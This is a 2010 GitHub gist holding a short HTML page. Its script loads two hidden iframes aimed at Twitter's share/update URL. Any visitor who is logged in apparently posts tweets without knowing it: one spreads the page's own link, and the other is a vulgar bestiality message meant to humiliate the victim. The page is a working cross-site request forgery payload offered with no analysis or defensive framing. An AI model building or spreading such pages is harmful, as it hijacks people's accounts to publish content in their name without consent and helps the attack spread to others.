Skip to content

Instantly share code, notes, and snippets.

@jonrohan
Created September 26, 2010 18:09
Show Gist options
  • Save jonrohan/598158 to your computer and use it in GitHub Desktop.
Save jonrohan/598158 to your computer and use it in GitHub Desktop.
<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment